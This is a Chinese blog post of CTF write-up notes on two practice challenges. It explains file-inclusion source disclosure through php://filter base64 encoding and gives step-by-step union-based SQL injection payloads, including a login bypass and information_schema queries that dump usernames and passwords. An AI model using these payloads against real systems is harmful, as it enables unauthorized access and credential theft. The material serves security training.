2021-01-17

46 篇文章 0 订阅
5 篇文章 0 订阅

知识点:

[ACTF2020 新生赛] IncludeWriteup:

  1. ?file=flag.php 猜测文件包含漏洞

  2. php://filter与包含函数结合时,php://filter流会被当作php文件执行。所以我们一般对其进行编码,阻止其不执行。从而导致任意文件读取。

  3. php://filter 伪协议文件包含读取源代码,加上read=convert.base64-encode,用base64编码输出,不然会直接当做php代码执行,看不到源代码内容。

  4. php://input 伪协议 + POST发送PHP代码 (不行)

【BUUCTF】[极客大挑战 2019]LoveSQL

  1. 基础知识点:

    union 联合查询
    information 表
    group_concat()
    admin’ or 1=1 或者 1’ or 1=1 # 万能密码爆字段
    加单引号报错,存在SQL注入

  2. 注入流程:

    1.万能密码登陆
    2.登陆后,使用联合查询注入
    3.爆字段
    4.看回显
    5.爆数据库
    6.爆数据库的表
    7.爆出表的列
    8.爆出flag

  3. 爆字段:
    1’ order by 1 #
    1’ order by 2 #
    1’ order by 3 #
    1’ order by 1 %23
    1’ order by 2 %23
    1’ order by 3 %23

  4. 看回显:
    1’ union select 1,2,3 #

  5. 爆数据库:
    1’ union select 1,database(),version() #

  6. 爆数据库的表:
    只有一个数据库,省事直接相等:
    1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() #

    多个数据库,选择一个:
    1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘DATABASE’

  7. 爆出表的列:
    1’ union select 1,2,group_concat(id,username,password) from AAA%23&password=1

  8. 读取内容,爆flag:
    读aaa表
    1’ union select 1,2,group_concat(id,username,password) from aaa%23&password=1

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值